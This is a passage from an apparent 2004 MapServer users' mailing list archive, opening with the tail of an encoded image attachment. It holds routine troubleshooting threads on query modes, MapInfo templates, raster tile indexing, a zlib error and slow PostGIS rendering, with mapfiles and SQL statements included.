zxk0NldOl1NZzWs00DxRXMZEyiSIlcyplWG6MMvB54NfYaWur6uFa4k+yxHny+VH0KqdxH1Zf92v mf8A4J7arb6vpXjqeDRtL0jN3bs/2CA+bMzLIWee4kZ57hycnfPJI3JwQOK+u68XOHWeOqPEJKel 7bbL9D38kWHWX0lhW3DW199328/wILSxgsYwkESRDAB2jGfrU9FFeOe4eO/FTSvgfd+MIl+IV34S g8TS2LTxwa3qUMFy9rEHdpAjurGNAkjFsYAViTwa4Szt/wBkfUba9uLTXvhndW9jEJ7qWHxBautv GXVA8hE2FUu6Lk4GWUdSKl+IevR+Av2nNJuNEXUb++8RtaW2uaBd6BcTWs8EKP5Oo2t+I/KhkgL7 HRnIYMAFRyrPyPi7wp4q1P4XePvs3n6JfXHxNtLqzM1k86xL/aNkRctGChkjUAscMMhT8y4NdccZ iYJRjUkkvNnFPA4WpJznSi2+riv8j0K7+F/wH/sKHWLHw74au9InWN4tVFwv2NlkYLGwm37GDMyh TuwxIAOTivMvGHw+/Zj1PxYPCeuah8O7fWEnFvPpdzrVvHJDKSAI/KaUMZMnAG0NzjmuOvPAvjL4 ofDTSPgrpfhxbu6stU1TVPFF/rV1PptheS+a7xSwzxW0gCSzXUdxHEqHaICjMChJ9o+Ea+INV+In wu1DXdGnsNXsvCWsabrTiF/KF/Hd2cbkOyjIkMTuh43KQRxRPF4ma5Z1JNebYQwWFpyUoUop+UV/ kang7wj+zXqXhCfwz4cvvBOp+H/C6PdXWn6frMM0GnZLeZPMiSkRkndl3weMZwMCTw18Pf2a/Gdn Hd+H08D67ay3P2NJ9N1OG4R59hk8oMkhBfYrNt64UnGBXz78O7vxFrnwi8P6FrM2o+KtD8LavYX+ seDovAmoWlxDYxzy70MspZNR2O0MpSFcsIThWyBXYa741n+O/i5nk0C51bwNb6/DHDqum+F9Q027 urR9L1NZYX88b5ni3IoZFUbpsAAnFKGLxFKPLCpJLybQ6mDw1WXPUpRb7tJn0d8FbT4XJpOpXPwt uvD19pslwIbyfw7ex3UXnIM7HaNmAYB+mc4YetejV4d+yhrd3qXhHV7B5rnV9I0e7TTtJ8Q3+hT6 Pd6hapCgVZ4Jo4y0kJzEZFVUbZwqkMB7jWE5yqSc5u7fVnRTpwpRUKaSS6LRBRRRUGh5jbeLTDeS 3c1qLq/fiOWR/liHYBcf1/rXQ6NpzeKIY9Q1OdrhMnZaqNsa4J/P/PWiigDq441iRURQiKMBVGAB TqKKACiiigAooooAKKKKAP/Z ------=_NextPart_000_001D_01C41312.20747A60-- From gis at schnegg.net Fri Mar 26 00:17:34 2004 From: gis at schnegg.net (Frank Rittinger) Date: Fri, 26 Mar 2004 09:17:34 +0100 Subject: [Mapserver-users] Zoom to location by string match in query on SHP files. In-Reply-To: <4061350C.60203@greenwoodmap.com> References: <1080063008.406074202e16e@www.agi-lan.com> <4061350C.60203@greenwoodmap.com> Message-ID: <4063E71E.5060800@schnegg.net> Hello Richard, I followed this thread because I was looking for something similar. Although, when I try this approach with "mapext=shapes" mapserver tells me the file names it would create (I set up templates to print the file names etc.), but they are not created. Switching the mode to browse, images are created (but - as expected- no query is performed). So paths etc. are correctly configured. Do you have any hints, why the image is not created in itemnquery mode? Regards, Frank Richard Greenwood wrote: > > The CGI itemquery and itemnquery modes may be what you are looking for, > however they will zoom to the full extent of the feature, not the first > vertex. You could, however, have a second layer with just the verticies, > zoom to them and also display the road polyline. Here is an example: > > http://www2.tetonwyo.org/mapserver/mapserv.exe? > qstring=438& > mode=itemquery& > qitem=id& > map=tc/tc.map& > mapext=shapes& > qlayer=Road_CLq&layer=Roads& > zoomsize=2& > savequery=true& From gis at schnegg.net Fri Mar 26 01:08:17 2004 From: gis at schnegg.net (Frank Rittinger) Date: Fri, 26 Mar 2004 10:08:17 +0100 Subject: [Mapserver-users] PB with mapinfo table query In-Reply-To: References: Message-ID: <4063F301.3070609@schnegg.net> Salut Xavier, I think the templates are case sensitive, i.e. [id] must be [ID]. One guess for the others would be that the names in the MapInfo data file (actually a dbase file) are different than the ones in the TAB file (OGR or mitab maintainers will know exactly). I had a similar problem after I renamed column names in MapInfo or after copying mapinfo tables. Try to create a new table (with short column names) and fill it with the data of your original table. Regards, Frank Xavier Mauclaire wrote: > Definition Table > Type NATIVE Charset "WindowsLatin1" > Fields 10 > ID Integer Index 1 ; > TYPE Char (3) ; > ORIENTATIO Decimal (16, 3) ; > NODE_ Decimal (11, 0) ; > SYMBOL Decimal (5, 0) ; > NETSTAT Decimal (3, 0) ; > IDENT Decimal (6, 0) ; > OBSERV Char (128) ; > BITNUM Decimal (5, 0) ; > BITCAN Char (254) ; > > > my template file is > > > > > > > Interrogation PPR > > > > > > > > > > > > > > > >
ORGANE :
ID : [id]
TYPE : [TYPE]
NODE : [NODE_]
Orientation : [ORIENTATIO]
Observations : [OBSERV]
bitnum : [BITNUM]
bitcan : [BITCAN]
> > > > > > In this sample : > [ID] value is replace with a very big number but not the good value > [NODE_], [ORIENTATIO]and [BITCAN] are not replaced. > > the result is > > *ORGANE : * > *ID : *10802878981808 > *TYPE : *1 > *NODE : *[NODE_] > *Orientation : *[ORIENTATIO] > *Observations : *SIGVD > *bitnum : *370 > *bitcan : *[BITCAN] > From Gunter.Rieth at stadt.mainz.de Fri Mar 26 02:31:59 2004 From: Gunter.Rieth at stadt.mainz.de (Gunter.Rieth at stadt.mainz.de) Date: Fri, 26 Mar 2004 11:31:59 +0100 Subject: [Mapserver-users] error message mapserver 401 Message-ID: Hi list, does anybody knows any why/what/where abot this error message: "bit length overflow code 17 bits 6->7 " Im Using mapserver.exe 401 Gunter Rieth Kommunale Datenzentrale Mainz -Eigenbetrieb der Stadt Mainz- Hechtsheimer Stra?e 35 55131 Mainz Tel.: 06131/12-3557 Fax.: 06131/12-2267 eMail: gunter.rieth at stadt.mainz.de Notes: Gunter Rieth/KDZ/Mainz URL: http://www.kdz.mainz.de From antonio.cosenza at polito.it Fri Mar 26 04:14:03 2004 From: antonio.cosenza at polito.it (Antonio Cosenza) Date: Fri, 26 Mar 2004 13:14:03 +0100 Subject: [Mapserver-users] tile indexing problem Message-ID: <40641E8B.4070908@polito.it> hi guys, i got a little problem with mapserver tile indexing. This is my situation: - i got a polygon shape file (raster.shp) of rectangular polygons with 9 attributes in the dbf file (raster.dbf). - one of the the attribute's names is 'Nome', which contains the raster file name, like F4-N2.jpg. can i use this layer to see my jpeg raster files draw up ? LAYER NAME "raster" STATUS ON TILEINDEX "ratser.shp" TILEITEM "Nome" TYPE RASTER END thanksss toni From antonio.cosenza at polito.it Fri Mar 26 04:23:29 2004 From: antonio.cosenza at polito.it (Antonio Cosenza) Date: Fri, 26 Mar 2004 13:23:29 +0100 Subject: [Mapserver-users] tile indexing problem Message-ID: <406420C1.4070409@polito.it> hi guys, i got a little problem with mapserver tile indexing. This is my situation: - i got a polygon shape file (raster.shp) of rectangular polygons with 9 attributes in the dbf file (raster.dbf). - one of the attribute's names is 'Nome', which contains the raster file name, like F4-N2.jpg. - i have a directory that contains all the jpeg tiles (F4-N2.jpg, and so on ) can i use this layer to see my jpeg raster files draw up ? LAYER NAME "raster" STATUS ON TILEINDEX "ratser.shp" TILEITEM "Nome" TYPE RASTER END thanksss toni From TENIERER at gov.ns.ca Fri Mar 26 05:05:22 2004 From: TENIERER at gov.ns.ca (Rene Teniere ) Date: Fri, 26 Mar 2004 09:05:22 -0400 Subject: [Mapserver-users] Image indexing problems Message-ID: Hi all, I've been having a re-occurring problem with an indexed shapefile of images. Scenario: Shapefile contains a series of 416 polygons, each representing an image that is indexed through a field named images in the table. In the mapfile, TILEINDEX imgindex.shp TILEITEM images Problem: If you zoom in after a certain point, the main map image will not process, and you cannot access the index at all until you delete the temporary internet files and re-load the site. This happens in both straight php/mapscript and Chameleon. Has anyone run into this before?? I am running PHP v4.3.4, PHP/MapScript v4.1, MapServer v4.0, Chameleon v1.1a, IIS v5.0, Win2k. Check it out: http://nfis.gov.ns.ca/gmap/juan/index.phtml Rene MAP NAME "Hurricane Juan Page" STATUS ON EXTENT 381053 4915490 573294 5059550 SIZE 400 300 SHAPEPATH "e:/nfis_data/juan_data/" SYMBOLSET "e:/www/chameleon/etc/symbols.sym" FONTSET "e:/www/chameleon/etc/fonts.txt" IMAGECOLOR 255 255 255 UNITS METERS RESOLUTION 90.714286 WEB IMAGEPATH "e:/tmp/" IMAGEURL "/tmp/" END QUERYMAP STATUS ON SIZE -1 -1 COLOR 255 255 0 STYLE HILITE END PROJECTION "init=epsg:2038" #UTM Zone 20 NAD83 for Nova Scotia END SCALEBAR STATUS ON COLOR 255 255 255 OUTLINECOLOR 0 0 0 BACKGROUNDCOLOR 0 0 0 IMAGECOLOR 255 255 255 UNITS KILOMETERS INTERVALS 4 SIZE 200 5 STYLE 0 POSITION LL LABEL TYPE BITMAP SIZE SMALL OFFSET 0 0 BUFFER 0 MINDISTANCE -1 MINFEATURESIZE -1 COLOR 0 0 0 PARTIALS TRUE FORCE FALSE END END OUTPUTFORMAT NAME "PNG24" MIMETYPE "image/png" DRIVER "GD/PNG" EXTENSION "png" IMAGEMODE RGB END SYMBOL NAME "circle" TYPE ellipse FILLED true POINTS 1 1 END END SYMBOL NAME "line1" TYPE ellipse FILLED true POINTS 1 1 END END SYMBOL NAME "dash1" TYPE ellipse FILLED true POINTS 1 1 END STYLE 10 5 5 10 END END SYMBOL NAME "dash2" TYPE ellipse FILLED true POINTS 1 1 END STYLE 10 10 10 10 END END SYMBOL NAME "dash3" TYPE ellipse FILLED true POINTS 1 1 END STYLE 6 4 6 4 END END SYMBOL NAME "dot1" TYPE ellipse FILLED true POINTS 1 1 END STYLE 1 2 1 2 END END SYMBOL NAME 'hatch' TYPE vector POINTS 3 3 3 3 END END LAYER NAME "Images" GROUP "Imagery" STATUS ON TYPE RASTER MAXSCALE 30000 TILEINDEX "e:/nfis_data/juan_data/imgindex.shp" TILEITEM "image" END LAYER NAME "orthov4.ecw" GROUP "Imagery" STATUS ON DATA "images/orthov4.ecw" TYPE RASTER MINSCALE 30000 MAXSCALE 75000 END LAYER NAME "orthov3.ecw" GROUP "Imagery" STATUS ON DATA "images/orthov3.ecw" TYPE RASTER MINSCALE 75000 MAXSCALE 150000 END LAYER NAME "orthov2.ecw" GROUP "Imagery" STATUS ON DATA "images/orthov2.ecw" TYPE RASTER MINSCALE 150000 MAXSCALE 250000 END LAYER NAME "orthov1.ecw" GROUP "Imagery" STATUS ON DATA "images/orthov1.ecw" TYPE RASTER MINSCALE 250000 END LAYER NAME "Nova Scotia" GROUP "Base Data" STATUS ON DATA "shoreutm.shp" TYPE LINE UNITS METERS SIZEUNITS PIXELS TOLERANCE 0 TOLERANCEUNITS PIXELS CLASS NAME "Shoreline" STYLE SYMBOL 0 COLOR 72 164 255 SIZE 2 MINSIZE 1 MAXSIZE 100 END END END LAYER NAME "Index" GROUP "Base Data" STATUS ON DATA "juan_indx.shp" TYPE POLYGON UNITS METERS SIZEUNITS PIXELS TOLERANCE 0 TOLERANCEUNITS PIXELS TEMPLATE "e:/nfis_data/juan_data/template/blank.html" CLASS NAME "Mapsheet Boundaries" STYLE SYMBOL 0 COLOR -1 -1 -1 OUTLINECOLOR 244 188 17 BACKGROUNDCOLOR -1 -1 -1 MINSIZE 1 MAXSIZE 100 END END END LAYER NAME "Roads" GROUP "Roads" STATUS ON DATA "netlin83_juan.shp" TYPE LINE CLASSITEM "netlin_id" UNITS METERS SIZEUNITS PIXELS MAXSCALE 500000 TOLERANCE 10 TOLERANCEUNITS PIXELS TEMPLATE "e:/nfis_data/juan_data/template/blank.html" CLASS NAME "100 Series Highway" EXPRESSION "210" STYLE COLOR 255 00 00 SYMBOL "line1" SIZE 2 MINSIZE 1 MAXSIZE 100 END END CLASS NAME "Trunk Roads" EXPRESSION "211" STYLE SYMBOL "line1" COLOR 145 85 0 SIZE 1 MINSIZE 1 MAXSIZE 100 END END CLASS NAME "Secondary Roads" EXPRESSION "212" STYLE SYMBOL "line1" COLOR 0 0 0 SIZE 1 MINSIZE 1 MAXSIZE 100 END END CLASS NAME "Tracks and Trails" EXPRESSION "213" STYLE SYMBOL "dot1" COLOR 0 0 0 SIZE 1 MINSIZE 1 MAXSIZE 100 END END CLASS NAME "Railroad" EXPRESSION "220" STYLE COLOR 180 0 0 SYMBOL "dash3" SIZE 1 MINSIZE 1 MAXSIZE 100 END END END LAYER NAME "Rivers" GROUP "Rivers" STATUS ON DATA "nshydro83_juan.shp" TYPE LINE UNITS METERS SIZEUNITS PIXELS MAXSCALE 250000 TOLERANCE 10 TOLERANCEUNITS PIXELS TEMPLATE "e:/nfis_data/juan_data/template/blank.html" CLASS NAME "Rivers and Streams" STYLE SYMBOL 0 COLOR 0 0 230 SIZE 1 MINSIZE 1 MAXSIZE 100 END END END LAYER NAME "Major Water Bodies" GROUP "Major Water Bodies" STATUS ON DATA "nslake83_juan.shp" TYPE LINE UNITS METERS SIZEUNITS PIXELS MAXSCALE 250000 TOLERANCE 10 TOLERANCEUNITS PIXELS TEMPLATE "e:/nfis_data/juan_data/template/blank.html" CLASS NAME "Lakes and Water Bodies" STYLE SYMBOL 0 COLOR 72 164 255 OUTLINECOLOR 0 0 230 BACKGROUNDCOLOR 72 164 255 MINSIZE 1 MAXSIZE 100 END END END LAYER NAME "Flight Line" GROUP "Flight Line" STATUS ON DATA "juan_photocentres.shp" TYPE POINT MAXSCALE 250000 TOLERANCE 10 TOLERANCEUNITS PIXELS TEMPLATE "e:/nfis_data/juan_data/template/blank.html" CLASS NAME "Airphoto Centres" STYLE SYMBOL 7 COLOR 255 153 51 SIZE 8 MINSIZE 1 MAXSIZE 100 END END END END From knozi at gmx.at Fri Mar 26 05:14:31 2004 From: knozi at gmx.at (Gernot Katzlberger) Date: Fri, 26 Mar 2004 14:14:31 +0100 Subject: [Mapserver-users] postgis data statement In-Reply-To: Message-ID: <200403261314.i2QDExEe019004@lists.gis.umn.edu> hi pericles, zamil & list, my postgis data statement works now in Mapserver, but it needs ~5 min to render it. when I start it, 99% of my system cpu usage is occupied by one process: postgres: {user} {database} 127.0.0.1 FETCH when I execute it in psql it works in milliseconds. mapserver and postgresql/postgis are on the same server. I also checked the user privileges. many thanks for your help, gernot -----Urspr?ngliche Nachricht----- Von: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu] Im Auftrag von Pericles Nacionales Gesendet: Donnerstag, 25. M?rz 2004 16:52 An: Zamil Murji Cc: knozi; mapserver-users at lists.gis.umn.edu Betreff: RE: [Mapserver-users] postgis data statement Gernot, Zamil is correct. If the SQL statement worked in psql (or some other frontend), it should work in MapServer. If not, the first place to check would be your PostgreSQL configuration and permissions. If your database is running remotely you might want to check that you have configured postgres to accept remote connections. If that is the case, try connecting as postgres (or whatever pg admin account you created). If it works, read the PostgreSQL docs for adding users. Sometimes it's just a matter of giving an existing database user select privileges on your postgis tables. I've posted other messages to related questions in the past. Have a look at the MapServer-users archive as I don't have a browser open. Cheers! Pericles S. Nacionales nacional at biosci.umn.edu On Thu, 25 Mar 2004, Zamil Murji wrote: > hi, > > Maybe it isn't the data statement that is hooped. Maybe you don't have the proper permissions set for the database. Does the user/password that you supply to your connection string work? Is it a TRUSTed user? Maybe you need to give the box that mapserver is installed on TRUSTed access to that postgres db. Take a look at your pg_conf.hba file (i think that is what it is called). > > Hope this helps. > Zamil > > -----Original Message----- > From: mapserver-users-admin at lists.gis.umn.edu > [mailto:mapserver-users-admin at lists.gis.umn.edu]On Behalf Of knozi > Sent: Thursday, March 25, 2004 4:34 AM > To: mapserver-users at lists.gis.umn.edu > Subject: [Mapserver-users] postgis data statement > > > hi list, > i've some problems with a postgis data statement. > > DATA "the_geom from > (select gd_world_samplesite.the_geom,td_samplesite.maxdepth,case > when td_samplesite.maxdepth > 1000 then 1 > when td_samplesite.maxdepth > 500 then 2 > else 3 > end as myclass > from gd_world_samplesite,td_samplesite where > gd_world_samplesite.ssid = td_samplesite.samplesiteid) > as foo using unique gd_world_samplesite.oid using SRID=4326" > > when I execute the statement in postgres it works fine, but mapserver cannot > handle it. > The funny thing is that a similar statement on the same server, but > accessing another database, works. > > I'm using linux, postgresql 7.3.4, postgis 8.1 and Mapserver 4.1. > > any hints? > > thanks, > gernot > > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From rich at greenwoodmap.com Fri Mar 26 05:46:09 2004 From: rich at greenwoodmap.com (Richard Greenwood) Date: Fri, 26 Mar 2004 06:46:09 -0700 Subject: [Mapserver-users] Zoom to location by string match in query on SHP files. In-Reply-To: <4063E71E.5060800@schnegg.net> References: <1080063008.406074202e16e@www.agi-lan.com> <4061350C.60203@greenwoodmap.com> <4063E71E.5060800@schnegg.net> Message-ID: <40643421.80100@greenwoodmap.com> Frank Rittinger wrote: > Hello Richard, > > I followed this thread because I was looking for something similar. > Although, when I try this approach with "mapext=shapes" mapserver tells > me the file names it would create (I set up templates to print the file > names etc.), but they are not created. Switching the mode to browse, > images are created (but - as expected- no query is performed). So paths > etc. are correctly configured. > > Do you have any hints, why the image is not created in itemnquery mode? > > Regards, Frank Well your template would have to have an tag of some sort, or else mapserver will not bother to create an image. Do you have one? I have a working CGI based site that does various searches and it uses the form method=get, so it is fairly easy to see what is happening: http://www2.tetonwyo.org/mapserver/ The select the "property search" link. Then enter an owner name like "smith", or select the "street name list" or "subdivision list" buttons. Regards, Rich > Richard Greenwood wrote: > >> >> The CGI itemquery and itemnquery modes may be what you are looking >> for, however they will zoom to the full extent of the feature, not the >> first vertex. You could, however, have a second layer with just the >> verticies, zoom to them and also display the road polyline. Here is an >> example: >> >> http://www2.tetonwyo.org/mapserver/mapserv.exe? >> qstring=438& >> mode=itemquery& >> qitem=id& >> map=tc/tc.map& >> mapext=shapes& >> qlayer=Road_CLq&layer=Roads& >> zoomsize=2& >> savequery=true& > > > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > -- Richard Greenwood www.greenwoodmap.com From nacional at cbs.umn.edu Fri Mar 26 06:13:41 2004 From: nacional at cbs.umn.edu (Pericles Nacionales) Date: Fri, 26 Mar 2004 08:13:41 -0600 (CST) Subject: [Mapserver-users] postgis data statement In-Reply-To: <200403261314.i2QDExEe019004@lists.gis.umn.edu> References: <200403261314.i2QDExEe019004@lists.gis.umn.edu> Message-ID: The first thing that comes to mind is... indices! But then I can't know what's going on with your database without any info. A little more background on what you have (hardware, database, mapserver config, sql query) would be helpful. Are you running the exact same query on psql and MapServer when you compared the execution time? Have you created gist indices on your postgis tables? If not, visit postgis's documentation and follow the example on creating a gist index. Good luck! -Perry On Fri, 26 Mar 2004, Gernot Katzlberger wrote: > hi pericles, zamil & list, > > my postgis data statement works now in Mapserver, but it needs ~5 min to > render it. when I start it, 99% of my system cpu usage is occupied by one > process: > > postgres: {user} {database} 127.0.0.1 FETCH > > > when I execute it in psql it works in milliseconds. > mapserver and postgresql/postgis are on the same server. I also checked the > user privileges. > > many thanks for your help, > > gernot > > > > > -----Urspr?ngliche Nachricht----- > Von: mapserver-users-admin at lists.gis.umn.edu > [mailto:mapserver-users-admin at lists.gis.umn.edu] Im Auftrag von Pericles > Nacionales > Gesendet: Donnerstag, 25. M?rz 2004 16:52 > An: Zamil Murji > Cc: knozi; mapserver-users at lists.gis.umn.edu > Betreff: RE: [Mapserver-users] postgis data statement > > Gernot, > > Zamil is correct. If the SQL statement worked in psql (or some other > frontend), it should work in MapServer. If not, the first place to check > would be your PostgreSQL configuration and permissions. If your database > is running remotely you might want to check that you have configured > postgres to accept remote connections. If that is the case, try > connecting as postgres (or whatever pg admin account you created). If it > works, read the PostgreSQL docs for adding users. Sometimes it's just a > matter of giving an existing database user select privileges on your > postgis tables. I've posted other messages to related questions in the > past. Have a look at the MapServer-users archive as I don't have a > browser open. > > Cheers! > > Pericles S. Nacionales > nacional at biosci.umn.edu > > > On Thu, 25 Mar 2004, Zamil Murji wrote: > > > hi, > > > > Maybe it isn't the data statement that is hooped. Maybe you don't have the > proper permissions set for the database. Does the user/password that you > supply to your connection string work? Is it a TRUSTed user? Maybe you need > to give the box that mapserver is installed on TRUSTed access to that > postgres db. Take a look at your pg_conf.hba file (i think that is what it > is called). > > > > Hope this helps. > > Zamil > > > > -----Original Message----- > > From: mapserver-users-admin at lists.gis.umn.edu > > [mailto:mapserver-users-admin at lists.gis.umn.edu]On Behalf Of knozi > > Sent: Thursday, March 25, 2004 4:34 AM > > To: mapserver-users at lists.gis.umn.edu > > Subject: [Mapserver-users] postgis data statement > > > > > > hi list, > > i've some problems with a postgis data statement. > > > > DATA "the_geom from > > (select gd_world_samplesite.the_geom,td_samplesite.maxdepth,case > > when td_samplesite.maxdepth > 1000 then 1 > > when td_samplesite.maxdepth > 500 then 2 > > else 3 > > end as myclass > > from gd_world_samplesite,td_samplesite where > > gd_world_samplesite.ssid = td_samplesite.samplesiteid) > > as foo using unique gd_world_samplesite.oid using SRID=4326" > > > > when I execute the statement in postgres it works fine, but mapserver > cannot > > handle it. > > The funny thing is that a similar statement on the same server, but > > accessing another database, works. > > > > I'm using linux, postgresql 7.3.4, postgis 8.1 and Mapserver 4.1. > > > > any hints? > > > > thanks, > > gernot > > > > > > > > > > _______________________________________________ > > Mapserver-users mailing list > > Mapserver-users at lists.gis.umn.edu > > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > > _______________________________________________ > > Mapserver-users mailing list > > Mapserver-users at lists.gis.umn.edu > > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From antonio.cosenza at polito.it Fri Mar 26 06:16:57 2004 From: antonio.cosenza at polito.it (Antonio Cosenza) Date: Fri, 26 Mar 2004 15:16:57 +0100 Subject: [Mapserver-users] tile indexing problem In-Reply-To: <1080310163.406439933ba5e@mail-gate.ait.ac.th> References: <406420C1.4070409@polito.it> <1080307016.40642d48c7fa8@mail-gate.ait.ac.th> <406436DA.4080404@polito.it> <1080310163.406439933ba5e@mail-gate.ait.ac.th> Message-ID: <40643B59.8080505@polito.it> >Dear > >I think first you can try to check your path and make data there. And Test it >and tell us what is your result? > > a question before to prceed with the test... in the shapefile field "Nome" do i have all the filename records compiled? i mean, can i have some empty records? thanks >Sarawut >Quoting Antonio Cosenza : > > > >>but wherecan i found information about raster type and tile indexing? i >>mean, i have to use tiff files only?? >> >>thanks >> >>sarawut at ait.ac.th wrote: >> >> >> >>>Dear >>> >>>Could you check dbf file that in field of "Name" should has a relative path >>> >>> >>>from "data path" to your file also. Such if your image are in >>"\data\image\F4- >> >> >>>N2.jpg". your shp file should has "image\F4-N2.jpg" >>> >>>But please check potential of file format I think only TIFF can support Tile >>> >>> >>>http://mapserver.gis.umn.edu/doc40/raster-howto.html# >>> >>>Best Regards >>> >>>Sarawut >>> >>> >>>Quoting Antonio Cosenza : >>> >>> >>> >>> >>> >>>>hi guys, >>>>i got a little problem with mapserver tile indexing. >>>>This is my situation: >>>> >>>>- i got a polygon shape file (raster.shp) of rectangular polygons with 9 >>>>attributes in the dbf file (raster.dbf). >>>>- one of the attribute's names is 'Nome', which contains the raster >>>>file name, like F4-N2.jpg. >>>>- i have a directory that contains all the jpeg tiles (F4-N2.jpg, and so >>>>on ) >>>> >>>>can i use this layer to see my jpeg raster files draw up ? >>>> >>>>LAYER >>>> NAME "raster" >>>> STATUS ON >>>> TILEINDEX "ratser.shp" >>>> TILEITEM "Nome" >>>> TYPE RASTER >>>>END >>>> >>>> >>>>thanksss >>>> >>>>toni >>>>_______________________________________________ >>>>Mapserver-users mailing list >>>>Mapserver-users at lists.gis.umn.edu >>>>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >>>> >>>> >>>> >>>> >>>> >>> >>> >>>---------------------------------------------------------- >>>This mail sent through AIT WebMail : http://www.ait.ac.th/ >>> >>> >>> >>> >>> > > > > >---------------------------------------------------------- >This mail sent through AIT WebMail : http://www.ait.ac.th/ > > > From warmerdam at pobox.com Fri Mar 26 06:23:21 2004 From: warmerdam at pobox.com (Frank Warmerdam) Date: Fri, 26 Mar 2004 09:23:21 -0500 Subject: [Mapserver-users] error message mapserver 401 In-Reply-To: References: Message-ID: <40643CD9.3070401@pobox.com> Gunter.Rieth at stadt.mainz.de wrote: > Hi list, > > does anybody knows any why/what/where abot this error message: > > "bit length overflow code 17 bits 6->7 " > > Im Using mapserver.exe 401 Gunter, This error message appears to come from the tree.c module in zlib (libz). Amoung other things zlib is used by the png libraries. I have never seen this error message before, nor do I have an idea why it would be occuring. I am not even sure if it would be a result of a problem during compression or during decompression. Best regards, -- ---------------------------------------+-------------------------------------- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From antonio.cosenza at polito.it Fri Mar 26 06:33:22 2004 From: antonio.cosenza at polito.it (Antonio Cosenza) Date: Fri, 26 Mar 2004 15:33:22 +0100 Subject: [Mapserver-users] tile indexing problem In-Reply-To: <1080310163.406439933ba5e@mail-gate.ait.ac.th> References: <406420C1.4070409@polito.it> <1080307016.40642d48c7fa8@mail-gate.ait.ac.th> <406436DA.4080404@polito.it> <1080310163.406439933ba5e@mail-gate.ait.ac.th> Message-ID: <40643F32.2010507@polito.it> sorry, i have a question about the size of a single tile.. if my tiles have a 567x576 pixel, mapserver is able to handle dinamically the dimension ? thanks sarawut at ait.ac.th wrote: >Dear > >I think first you can try to check your path and make data there. And Test it >and tell us what is your result? > >Sarawut >Quoting Antonio Cosenza : > > > >>but wherecan i found information about raster type and tile indexing? i >>mean, i have to use tiff files only?? >> >>thanks >> >>sarawut at ait.ac.th wrote: >> >> >> >>>Dear >>> >>>Could you check dbf file that in field of "Name" should has a relative path >>> >>> >>>from "data path" to your file also. Such if your image are in >>"\data\image\F4- >> >> >>>N2.jpg". your shp file should has "image\F4-N2.jpg" >>> >>>But please check potential of file format I think only TIFF can support Tile >>> >>> >>>http://mapserver.gis.umn.edu/doc40/raster-howto.html# >>> >>>Best Regards >>> >>>Sarawut >>> >>> >>>Quoting Antonio Cosenza : >>> >>> >>> >>> >>> >>>>hi guys, >>>>i got a little problem with mapserver tile indexing. >>>>This is my situation: >>>> >>>>- i got a polygon shape file (raster.shp) of rectangular polygons with 9 >>>>attributes in the dbf file (raster.dbf). >>>>- one of the attribute's names is 'Nome', which contains the raster >>>>file name, like F4-N2.jpg. >>>>- i have a directory that contains all the jpeg tiles (F4-N2.jpg, and so >>>>on ) >>>> >>>>can i use this layer to see my jpeg raster files draw up ? >>>> >>>>LAYER >>>> NAME "raster" >>>> STATUS ON >>>> TILEINDEX "ratser.shp" >>>> TILEITEM "Nome" >>>> TYPE RASTER >>>>END >>>> >>>> >>>>thanksss >>>> >>>>toni >>>>_______________________________________________ >>>>Mapserver-users mailing list >>>>Mapserver-users at lists.gis.umn.edu >>>>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >>>> >>>> >>>> >>>> >>>> >>> >>> >>>---------------------------------------------------------- >>>This mail sent through AIT WebMail : http://www.ait.ac.th/ >>> >>> >>> >>> >>> > > > > >---------------------------------------------------------- >This mail sent through AIT WebMail : http://www.ait.ac.th/ > > > From willrichardson at teq-services.com Fri Mar 26 06:52:05 2004 From: willrichardson at teq-services.com (Will Richardson) Date: Fri, 26 Mar 2004 07:52:05 -0700 Subject: [Mapserver-users] geocoding product In-Reply-To: Message-ID: <006f01c41341$e8001ce0$ceea9040@DEV6> Hello, Does anyone know of a good geocoding product that will take addresses and get a lat/long? Thanks, Will From antonio.cosenza at polito.it Fri Mar 26 06:56:20 2004 From: antonio.cosenza at polito.it (Antonio Cosenza) Date: Fri, 26 Mar 2004 15:56:20 +0100 Subject: [Mapserver-users] tile indexing problem In-Reply-To: <1080310163.406439933ba5e@mail-gate.ait.ac.th> References: <406420C1.4070409@polito.it> <1080307016.40642d48c7fa8@mail-gate.ait.ac.th> <406436DA.4080404@polito.it> <1080310163.406439933ba5e@mail-gate.ait.ac.th> Message-ID: <40644494.2090207@polito.it> Dear >I think first you can try to check your path and make data there. And Test it >and tell us what is your result? > > ok, the test ended! i got my raster files in the "dati" directory. The shapepath in mapfile is "dati". Mapserver is able to load the layer without errors but i can see nothing drawing up. Strange, isn'it? toni >Sarawut >Quoting Antonio Cosenza : > > > >>but wherecan i found information about raster type and tile indexing? i >>mean, i have to use tiff files only?? >> >>thanks >> >>sarawut at ait.ac.th wrote: >> >> >> >>>Dear >>> >>>Could you check dbf file that in field of "Name" should has a relative path >>> >>> >>>from "data path" to your file also. Such if your image are in >>"\data\image\F4- >> >> >>>N2.jpg". your shp file should has "image\F4-N2.jpg" >>> >>>But please check potential of file format I think only TIFF can support Tile >>> >>> >>>http://mapserver.gis.umn.edu/doc40/raster-howto.html# >>> >>>Best Regards >>> >>>Sarawut >>> >>> >>>Quoting Antonio Cosenza : >>> >>> >>> >>> >>> >>>>hi guys, >>>>i got a little problem with mapserver tile indexing. >>>>This is my situation: >>>> >>>>- i got a polygon shape file (raster.shp) of rectangular polygons with 9 